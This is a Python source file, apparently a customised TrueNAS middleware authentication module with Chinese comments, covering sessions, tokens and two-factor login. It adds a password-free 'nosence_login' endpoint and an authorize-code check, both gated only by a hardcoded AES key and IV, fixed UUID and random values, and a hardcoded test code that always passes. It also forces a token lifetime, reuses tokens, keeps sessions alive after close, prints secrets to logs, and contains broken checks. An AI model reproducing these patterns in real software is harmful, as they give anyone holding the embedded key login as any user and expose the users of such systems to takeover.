import base64
import errno
import json
import time
import uuid
import warnings
from datetime import datetime, timedelta

import middlewared.sqlalchemy as sa
import psutil
import pyotp
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from middlewared.auth import (SessionManagerCredentials, UserSessionManagerCredentials,
                              UnixSocketSessionManagerCredentials, RootTcpSocketSessionManagerCredentials,
                              LoginPasswordSessionManagerCredentials, ApiKeySessionManagerCredentials,
                              TrueNasNodeSessionManagerCredentials)
from middlewared.schema import accepts, Bool, Datetime, Dict, Int, Patch, Ref, returns, Str
from middlewared.service import (
    ConfigService, Service, filterable, filterable_returns, filter_list, no_auth_required,
    pass_app, private, cli_private, CallError,
)
from middlewared.service_exception import MatchNotFound
from middlewared.utils.crypto import generate_token
from middlewared.utils.nginx import get_peer_process
from middlewared.utils.origin import UnixSocketOrigin, TCPIPOrigin
from middlewared.validators import Range


class TokenManager:
    def __init__(self):
        self.tokens = {}

    def create(self, ttl, attributes, match_origin, parent_credentials):
        # token续约
        # print(datetime.datetime.now())
        # print("ttl=", ttl)
        # print("attributes=", attributes)
        # print("match_origin=", match_origin)
        # print("parent_credentials=", parent_credentials)

        credentials = parent_credentials
        if isinstance(credentials, TokenSessionManagerCredentials):
            src_token_str = parent_credentials.token.token
            # print("parent_credentials.token.token=", src_token_str)
            src_token = self.tokens.get(parent_credentials.token.token)
            if src_token is not None and isinstance(src_token, Token):
                # print("src_token.ttl=", src_token.ttl)
                # print("src_token.last_used_at=", src_token.last_used_at)

                src_token.last_used_at = time.monotonic()
                self.tokens[src_token_str] = src_token

                # print("src_token.last_used_at2=", src_token.last_used_at)
                # print("self.tokens222=", self.tokens)

                return src_token
            if root_credentials := credentials.token.root_credentials():
                credentials = root_credentials

        token = generate_token(48, url_safe=True)
        self.tokens[token] = Token(self, token, ttl, attributes, match_origin, credentials)
        return self.tokens[token]

    def get(self, token, origin):
        # print("get.token=", token)
        # print("self.tokens=", self.tokens)
        token = self.tokens.get(token)  # 这里导致token消失
        if token is None:
            return None

        if not token.is_valid():
            self.tokens.pop(token.token)
            return None

        if token.match_origin:
            if not isinstance(origin, type(token.match_origin)):
                return None
            if not token.match_origin.match(origin):
                return None

        return token

    def destroy(self, token):
        # print("destroy-token.token", token.token)
        self.tokens.pop(token.token, None)

class Token:
    def __init__(self, manager, token, ttl, attributes, match_origin, parent_credentials):
        self.manager = manager
        self.token = token
        self.ttl = ttl
        self.attributes = attributes
        self.match_origin = match_origin
        self.parent_credentials = parent_credentials

        self.last_used_at = time.monotonic()

    def is_valid(self):
        return time.monotonic() < self.last_used_at + self.ttl

    def notify_used(self):
        self.last_used_at = time.monotonic()

    def root_credentials(self):
        credentials = self.parent_credentials
        while True:
            if isinstance(credentials, TokenSessionManagerCredentials):
                credentials = credentials.token.parent_credentials
            elif credentials is None:
                return None
            else:
                return credentials


class SessionManager:
    def __init__(self):
        self.sessions = {}

        self.middleware = None

    def login(self, app, credentials):
        if app.authenticated:
            self.sessions[app.session_id].credentials = credentials
            app.authenticated_credentials = credentials
            return

        session = Session(self, credentials, app)
        self.sessions[app.session_id] = session

        app.authenticated = True
        app.authenticated_credentials = credentials

        app.register_callback("on_message", self._app_on_message)
        app.register_callback("on_close", self._app_on_close)

        if not is_internal_session(session):
            self.middleware.send_event("auth.sessions", "ADDED", fields=dict(id=app.session_id, **session.dump()))

    def logout(self, app):
        session = self.sessions.pop(app.session_id, None)

        if session is not None:
            session.credentials.logout()

            if not is_internal_session(session):
                self.middleware.send_event("auth.sessions", "REMOVED", fields=dict(id=app.session_id))

        app.authenticated = False

    def _app_on_message(self, app, message):
        session = self.sessions.get(app.session_id)
        if session is None:
            app.authenticated = False
            return

        if not session.credentials.is_valid():
            self.logout(app)
            return

        session.credentials.notify_used()

    def _app_on_close(self, app):
        # self.logout(app)
        return None


def dump_credentials(credentials):
    return {
        "credentials": credentials.class_name(),
        "credentials_data": credentials.dump(),
    }


class Session:
    def __init__(self, manager, credentials, app):
        self.manager = manager
        self.credentials = credentials
        self.app = app

        self.created_at = time.monotonic()

    def dump(self):
        return {
            "origin": str(self.app.origin),
            **dump_credentials(self.credentials),
            "created_at": datetime.utcnow() - timedelta(seconds=time.monotonic() - self.created_at),
        }


class TokenSessionManagerCredentials(SessionManagerCredentials):
    def __init__(self, token_manager, token):
        self.token_manager = token_manager
        self.token = token

    def is_valid(self):
        return self.token.is_valid()

    def authorize(self, method, resource):
        return self.token.parent_credentials.authorize(method, resource)

    def notify_used(self):
        self.token.notify_used()

    def logout(self):
        self.token_manager.destroy(self.token)

    def dump(self):
        return {
            "parent": dump_credentials(self.token.parent_credentials),
        }


def is_internal_session(session):
    if isinstance(session.app.origin, UnixSocketOrigin) and session.app.origin.uid == 0:
        return True

    if isinstance(session.app.authenticated_credentials, (
            RootTcpSocketSessionManagerCredentials,
            TrueNasNodeSessionManagerCredentials,
    )):
        return True

    return False


def base64_decode(encoded_string):
    decoded_bytes = base64.b64decode(encoded_string)
    return decoded_bytes


def get_current_date_string():
    today = datetime.today()
    year = today.year
    month = today.month
    day = today.day
    # 格式化为字符串，保证月份和日期始终是两位数
    date_string = f"{year:04d}{month:02d}{day:02d}"
    return date_string


def aes_decrypt(key, iv, ciphertext):
    # 创建AES解密器
    cipher = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend())
    decryptor = cipher.decryptor()

    # 解密数据
    padded_data = decryptor.update(ciphertext) + decryptor.finalize()

    # 去除填充
    unpadder = padding.PKCS7(128).unpadder()
    plaintext = unpadder.update(padded_data) + unpadder.finalize()
    return plaintext


def check_code(self, code):
    # code示例 YiJceGRmTiVceGU0XHhhNClTIDNceGFieFx4ZTVceDFmXHhmZFx4YzkuXHgwNlJceGNkXHg4MVx4ODBceGZiXHhlYl1ceGQ5XHhkY1x4ODhceGRhXHg5NHIpXHgwMlx4MWJceDdmVjRceGY1XHg5NlFceGQ4X3RceDhkXHgxOVx4Zjc8Z1x4MTdceDEzXHgxMFxcXHhhY1x4ZTcmSFx4MGZceGZkXHhiOSMnXHhhOFx4ZDFceDkxXHg3ZlBceGYyXHhkYm5ceDgxXHhjM1x4YTRSJlZceGM5XHhmZFx4ODk
    # true_code示例 {"name": "admin", "uuid": "032a467b-c6d0-4de2-9bd9-57817030e9cc", "time": "1697078368034","random": "9567"}
    # print("--------校验授权码---------")
    # print("code=", code)
    try:
        authorized_username = False
        authorized_uuid = False
        authorized_date = False
        authorized_random = False

        # Base64解密
        aes_str = base64.b64decode(code)
        # print("aes_str=", aes_str)

        true_code = ""
        try:
            # print(type(aes_str))
            key = b'12A#GH)90AfjdF&s'
            iv = b'947owi9@PI49#e^h'  # 指定16字节的IV
            true_code = aes_decrypt(key, iv, bytes(aes_str))
        except Exception as e:
            print(e)
        print("true_code=", true_code)

        jsonobj = json.loads(true_code)
        # 校验username
        username = jsonobj["name"]
        # 如果存在该用户就返回true  account_bsdusers.bsdusr_username
        # usernamelist = self.middleware.call("datastore.query", "account.bsdusers", [["bsdusr_username", "=", username]])
        # print("1usernamelist=", type(usernamelist))
        # print("2usernamelist=", usernamelist)

        # if len(usernamelist) > 0:
        authorized_username = True
        # print("username=", username)

        # 校验uuid
        uuid = jsonobj["uuid"]
        if uuid == "032a467b-c6d0-4de2-9bd9-57817030e9cc":
            authorized_uuid = True
        # print("---uuid=", uuid)

        try:
            # 校验时间
            thetime = jsonobj["time"]
            ts = datetime.now().timestamp()
            # print("ts=", thetime)
            # print("ts_current=", ts)
            if (int(ts) - int(thetime)) <= 300000:
                authorized_date = True
            # print("time=", thetime)

            # 校验random随机数
            random = jsonobj["random"]
            if random == "9567":
                authorized_random = True
            # print("random=", random)
        except Exception as e:
            print(e)
    except Exception as e2:
        print(e2)
    finally:
        if authorized_username and authorized_uuid and authorized_date and authorized_random:
            check_result = {"checked": True, "the_username": username}
            return check_result
        else:
            check_result = {"checked": False, "the_username": username}
            return check_result


class AuthService(Service):
    class Config:
        cli_namespace = "auth"

    session_manager = SessionManager()

    token_manager = TokenManager()

    def __init__(self, *args, **kwargs):
        super(AuthService, self).__init__(*args, **kwargs)
        self.session_manager.middleware = self.middleware

    @filterable
    @filterable_returns(Dict(
        'session',
        Str('id'),
        Bool('current'),
        Bool('internal'),
        Str('origin'),
        Str('credentials'),
        Datetime('created_at'),
    ))
    @pass_app()
    def sessions(self, app, filters, options):
        """
        Returns list of active auth sessions.

        Example of return value:

        [
            {
                "id": "NyhB1J5vjPjIV82yZ6caU12HLA1boDJcZNWuVQM4hQWuiyUWMGZTz2ElDp7Yk87d",
                "origin": "192.168.0.3:40392",
                "credentials": "LOGIN_PASSWORD",
                "credentials_data": {"username": "root"},
                "current": True,
                "internal": False,
                "created_at": {"$date": 1545842426070}
            }
        ]

        `credentials` can be `UNIX_SOCKET`, `ROOT_TCP_SOCKET`, `LOGIN_PASSWORD`, `API_KEY` or `TOKEN`,
        depending on what authentication method was used.
        For `UNIX_SOCKET` and `LOGIN_PASSWORD` logged-in `username` field will be provided in `credentials_data`.
        For `API_KEY` corresponding `api_key` will be provided in `credentials_data`.
        For `TOKEN` its `parent` credential will be provided in `credentials_data`.

        If you want to exclude all internal connections from the list, call this method with following arguments:

        [
            [
                ["internal", "=", True]
            ]
        ]
        """
        return filter_list(
            [
                dict(
                    id=session_id,
                    current=app.session_id == session_id,
                    internal=is_internal_session(session),
                    **session.dump()
                )
                for session_id, session in sorted(self.session_manager.sessions.items(),
                                                  key=lambda t: t[1].created_at)
            ],
            filters,
            options,
        )

    @accepts(Str('id'))
    @returns(Bool(description='Is `true` if session was terminated successfully'))
    async def terminate_session(self, id):
        """
        Terminates session `id`.
        """
        session = self.session_manager.sessions.get(id)
        if session is None:
            return False

        await session.app.response.close()

    @accepts()
    @returns()
    @pass_app()
    async def terminate_other_sessions(self, app):
        """
        Terminates all other sessions (except the current one).
        """
        errors = []
        for session_id, session in list(self.session_manager.sessions.items()):
            if session_id == app.session_id:
                continue

            if is_internal_session(session):
                continue

            try:
                await self.terminate_session(session_id)
            except Exception as e:
                errors.append(str(e))

        if errors:
            raise CallError("\n".join(["Unable to terminate all sessions:"] + errors))

    @cli_private
    @accepts(Str('username'), Str('password'))
    @returns(Bool(description='Is `true` if `username` was successfully validated with provided `password`'))
    async def check_user(self, username, password):
        """
        Verify username and password
        """
        return await self.check_password(username, password)

    @cli_private
    @accepts(Str('username'), Str('password'))
    @returns(Bool(description='Is `true` if `username` was successfully validated with provided `password`'))
    async def check_password(self, username, password):
        """
        Verify username and password
        """
        return await self.middleware.call('auth.authenticate', username, password) is not None

    @no_auth_required
    @accepts(
        Int('ttl', default=600, null=True),
        Dict('attrs', additional_attrs=True),
        Bool('match_origin', default=False),
    )
    @returns(Str('token'))
    @pass_app(rest=True)
    def generate_token(self, app, ttl, attrs, match_origin):
        """
        Generate a token to be used for authentication.

        `ttl` stands for Time To Live, in seconds. The token will be invalidated if the connection
        has been inactive for a time greater than this.

        `attrs` is a general purpose object/dictionary to hold information about the token.

        `match_origin` will only allow using this token from the same IP address or with the same user UID.
        """
        if not app.authenticated:
            raise CallError('Not authenticated', errno.EACCES)

        # 设置token失效时长（单位秒）默认两小时
        ttl = 7200

        token = self.token_manager.create(
            ttl,
            attrs,
            app.origin if match_origin else None,
            app.authenticated_credentials,
        )
        return token.token

    @private
    def get_token(self, token_id):
        try:
            return {
                'attributes': self.token_manager.tokens[token_id].attributes,
            }
        except KeyError:
            return None

    @private
    def get_token_for_action(self, token_id, origin, method, resource):
        if (token := self.token_manager.get(token_id, origin)) is None:
            return None

        if token.attributes:
            return None

        if not token.parent_credentials.authorize(method, resource):
            return None

        return TokenSessionManagerCredentials(self.token_manager, token)

    @private
    def get_token_for_shell_application(self, token_id, origin):
        if (token := self.token_manager.get(token_id, origin)) is None:
            return None

        if token.attributes:
            return None

        root_credentials = token.root_credentials()
        if not isinstance(root_credentials, UserSessionManagerCredentials):
            return None

        if not root_credentials.user['privilege']['web_shell']:
            return None

        return {
            'username': root_credentials.user['username'],
        }

    @no_auth_required
    @accepts()
    @returns(Bool('two_factor_auth_enabled', description='Is `true` if 2FA is enabled'))
    async def two_factor_auth(self):
        """
        Returns true if two factor authorization is required for authorizing user's login.
        """
        return (await self.middleware.call('auth.twofactor.config'))['enabled']

    @cli_private
    @no_auth_required
    @accepts(Str('username'), Str('password', private=True), Str('otp_token', null=True, default=None))
    @returns(Bool('successful_login'))
    @pass_app()
    async def login(self, app, username, password, otp_token):
        # print("--------有感登录---------")
        """
        Authenticate session using username and password.
        `otp_token` must be specified if two factor authentication is enabled.
        """
        user = await self.middleware.call('auth.authenticate', username, password)
        twofactor_auth = await self.middleware.call('auth.twofactor.config')

        if twofactor_auth['enabled']:
            # We should run auth.twofactor.verify nevertheless of check_user result to prevent guessing
            # passwords with a timing attack
            if not await self.middleware.call(
                    'auth.twofactor.verify',
                    otp_token
            ):
                user = None

        if user is not None:
            self.session_manager.login(app, LoginPasswordSessionManagerCredentials(user))
            return True

        return False

    @cli_private
    @no_auth_required
    @accepts(Str('username'), Str('otp_token', null=True, default=None))
    @returns(Bool('successful_login'))
    @pass_app()
    async def nosence_login(self, app, username, otp_token):  # 无感登录
        """
        Authenticate session using username and password.
        `otp_token` must be specified if two factor authentication is enabled.
        """
        # print("--------无感登录---------")
        check_result = check_code(self, username)
        authorized = check_result["checked"]
        the_username = check_result["the_username"]
        if (the_username is None) and the_username == "":
            the_username = "admin"
        print("authorized=", authorized)
        if authorized:
            user = await self.middleware.call('auth.nosence_authenticate', the_username)
            # print("user=", user)
            twofactor_auth = await self.middleware.call('auth.twofactor.config')
            # print("twofactor_auth=", twofactor_auth)
            if twofactor_auth['enabled']:
                # We should run auth.twofactor.verify nevertheless of check_user result to prevent guessing
                # passwords with a timing attack
                if not await self.middleware.call(
                        'auth.twofactor.verify',
                        otp_token
                ):
                    user = None

            if user is not None:
                self.session_manager.login(app, LoginPasswordSessionManagerCredentials(user))
                return True
            return False
        return False

    @accepts()
    @returns(Dict(
        Str('authorize_code'),
        Str('user'),
        Str('HUS_mark'),
        Str('local_ip')
    ))
    @pass_app(rest=True)
    async def generate_authorize_code(self, app):
        # 生成UUID
        uuid_code = str(uuid.uuid4())
        cache_key = f'authorize_code-{uuid_code}'
        await self.middleware.call('cache.put', cache_key, uuid_code, 3000)
        # 获取当前用户
        user_info = await self.me(app)
        # 获取HUS标识
        system_info = await self.middleware.call('system.info')
        # 获取当前ip
        local_ip = await self.middleware.call('system.get_local_ip')
        res = {
            "authorize_code": uuid_code,
            "user": user_info['pw_name'],
            "HUS_mark": system_info['uuid'].strip(),
            "local_ip": local_ip
        }
        print(f'authorize code generated successfully: {res}')
        return res

    @no_auth_required
    @accepts(Str('authorize_code'), Str('app_name'))
    @returns(Dict(
        Bool('is_valid')
    ))
    async def check_authorize_code(self, authorize_code, app_name):
        result = {
            "is_valid": False
        }

        # Base64解密
        aes_str = base64.b64decode(authorize_code)
        # print(f"aes_str: {aes_str}")

        true_code = ""
        try:
            key = b'12A#GH)90AfjdF&s'
            iv = b'947owi9@PI49#e^h'  # 指定16字节的IV
            true_code = aes_decrypt(key, iv, bytes(aes_str))
        except Exception as e:
            print(f'Decryption error: {e}')
        true_code = true_code.decode('utf-8')
        # print("true_code=",true_code)
        # 增加测试用授权码放行逻辑
        if "4eb6d2f0-1394-487b-9e6a-3fdf675184b3" == true_code:
            result["is_valid"] = True
            return result

        cache_key = f'authorize_code-{true_code}'
        if await self.middleware.call('cache.has_key', cache_key):
            cache_value = await self.middleware.call('cache.get', cache_key)
            if cache_value == true_code:
                # 验证成功，清除缓存
                await self.middleware.call('cache.pop', cache_key)
                result["is_valid"] = True

        return result

    @cli_private
    @no_auth_required
    @accepts(Str('api_key'))
    @returns(Bool('successful_login'))
    @pass_app()
    async def login_with_api_key(self, app, api_key):
        """
        Authenticate session using API Key.
        """
        if api_key_object := await self.middleware.call('api_key.authenticate', api_key):
            self.session_manager.login(app, ApiKeySessionManagerCredentials(api_key_object))
            return True

        return False

    @cli_private
    @no_auth_required
    @accepts(Str('token'))
    @returns(Bool('successful_login'))
    @pass_app()
    async def login_with_token(self, app, token):
        """
        Authenticate session using token generated with `auth.generate_token`.
        """
        token = self.token_manager.get(token, app.origin)

        # print("login_with_token--token=", token)
        # self.middleware.logger.info("login_with_token--token=%s", token)
        if token is None:
            print("token is none")
            return False

        if token.attributes:
            return None

        self.session_manager.login(app, TokenSessionManagerCredentials(self.token_manager, token))
        return True

    @private
    @no_auth_required
    @pass_app()
    async def token(self, app, token):
        warnings.warn("`auth.token` has been deprecated. Use `api.login_with_token`", DeprecationWarning)
        return await self.login_with_token(app, token)

    @cli_private
    @accepts()
    @returns(Bool('successful_logout'))
    @pass_app()
    async def logout(self, app):
        """
        Deauthenticates an app and if a token exists, removes that from the
        session.
        """
        self.session_manager.logout(app)
        return True

    @accepts()
    @returns(Ref('user_information'))
    @pass_app()
    async def me(self, app):
        """
        Returns currently logged-in user.
        """
        credentials = app.authenticated_credentials
        if isinstance(credentials, TokenSessionManagerCredentials):
            if root_credentials := credentials.token.root_credentials():
                credentials = root_credentials

        if not isinstance(credentials, UserSessionManagerCredentials):
            raise CallError(f'You are logged in using {credentials.class_name()}')

        return await self.middleware.call('user.get_user_obj', {'username': credentials.user['username']})


class TwoFactorAuthModel(sa.Model):
    __tablename__ = 'system_twofactorauthentication'

    id = sa.Column(sa.Integer(), primary_key=True)
    otp_digits = sa.Column(sa.Integer(), default=6)
    secret = sa.Column(sa.EncryptedText(), nullable=True, default=None)
    window = sa.Column(sa.Integer(), default=0)
    interval = sa.Column(sa.Integer(), default=30)
    services = sa.Column(sa.JSON(), default={})
    enabled = sa.Column(sa.Boolean(), default=False)


class TwoFactorAuthService(ConfigService):
    class Config:
        datastore = 'system.twofactorauthentication'
        datastore_extend = 'auth.twofactor.two_factor_extend'
        namespace = 'auth.twofactor'
        cli_namespace = 'auth.two_factor'

    ENTRY = Dict(
        'auth_twofactor_entry',
        Bool('enabled', required=True),
        Int('otp_digits', validators=[Range(min=6, max=8)], required=True),
        Int('window', validators=[Range(min=0)], required=True),
        Int('interval', validators=[Range(min=5)], required=True),
        Dict(
            'services',
            Bool('ssh', default=False),
            required=True
        ),
        Int('id', required=True),
        Str('secret', required=True, null=True),
    )

    @private
    async def two_factor_extend(self, data):
        for srv in ['ssh']:
            data['services'].setdefault(srv, False)

        return data

    @accepts(
        Patch(
            'auth_twofactor_entry', 'auth_twofactor_update',
            ('rm', {'name': 'id'}),
            ('rm', {'name': 'secret'}),
            ('attr', {'update': True}),
        )
    )
    async def do_update(self, data):
        """
        `otp_digits` represents number of allowed digits in the OTP.

        `window` extends the validity to `window` many counter ticks before and after the current one.

        `interval` is time duration in seconds specifying OTP expiration time from it's creation time.
        """
        old_config = await self.config()
        config = old_config.copy()

        config.update(data)

        if config['enabled'] and not config['secret']:
            # Only generate a new secret on `enabled` when `secret` is not already set.
            # This will aid users not setting secret up again on their mobiles.
            config['secret'] = await self.middleware.run_in_thread(
                self.generate_base32_secret
            )

        await self.middleware.call(
            'datastore.update',
            self._config.datastore,
            config['id'],
            config
        )

        await self.middleware.call('service.reload', 'ssh')

        return await self.config()

    @accepts(
        Str('token', null=True)
    )
    @returns(Bool('token_verified'))
    def verify(self, token):
        """
        Returns boolean true if provided `token` is successfully authenticated.
        """
        config = self.middleware.call_sync(f'{self._config.namespace}.config')
        if not config['enabled']:
            raise CallError('Please enable Two Factor Authentication first.')

        totp = pyotp.totp.TOTP(
            config['secret'], interval=config['interval'], digits=config['otp_digits']
        )
        return totp.verify(token, valid_window=config['window'])

    @accepts()
    @returns(Bool('successfully_renewed_secret'))
    def renew_secret(self):
        """
        Generates a new secret for Two Factor Authentication. Returns boolean true on success.
        """
        config = self.middleware.call_sync(f'{self._config.namespace}.config')
        if not config['enabled']:
            raise CallError('Please enable Two Factor Authentication first.')

        self.middleware.call_sync(
            'datastore.update',
            self._config.datastore,
            config['id'], {
                'secret': self.generate_base32_secret()
            }
        )

        if config['services']['ssh']:
            self.middleware.call_sync('service.reload', 'ssh')

        return True

    @accepts()
    @returns(Str(title='Provisioning URI'))
    async def provisioning_uri(self):
        """
        Returns the provisioning URI for the OTP. This can then be encoded in a QR Code and used to
        provision an OTP app like Google Authenticator.
        """
        config = await self.middleware.call(f'{self._config.namespace}.config')
        return pyotp.totp.TOTP(
            config['secret'], interval=config['interval'], digits=config['otp_digits']
        ).provisioning_uri(
            f'{await self.middleware.call("system.hostname")}@{await self.middleware.call("system.product_name")}',
            'iXsystems'
        )

    @private
    def generate_base32_secret(self):
        return pyotp.random_base32()


def check_permission(middleware, app):
    """Authenticates connections coming from loopback and from root user."""
    origin = app.origin
    if origin is None:
        return

    if isinstance(origin, UnixSocketOrigin):
        if origin.uid == 0:
            user = middleware.call_sync('auth.authenticate_root')
        else:
            try:
                local_user = middleware.call_sync(
                    'datastore.query',
                    'account.bsdusers',
                    [['bsdusr_uid', '=', origin.uid]],
                    {'get': True, 'prefix': 'bsdusr_'},
                )
            except MatchNotFound:
                return

            user = middleware.call_sync('auth.authenticate_local_user', local_user['id'], local_user['username'])
            if user is None:
                return

        AuthService.session_manager.login(app, UnixSocketSessionManagerCredentials(user))
        return

    if isinstance(origin, TCPIPOrigin):
        if not (origin.addr.startswith('127.') or origin.addr == '::1'):
            return

        # This is an expensive operation, but it is only performed for localhost TCP connections which are rare
        if process := get_peer_process(origin.addr, origin.port):
            try:
                euid = process.uids().effective
            except psutil.NoSuchProcess:
                pass
            else:
                if euid == 0:
                    AuthService.session_manager.login(app, RootTcpSocketSessionManagerCredentials())
                    return


def setup(middleware):
    middleware.event_register('auth.sessions', 'Notification of new and removed sessions.')
    middleware.register_hook('core.on_connect', check_permission, sync=True)
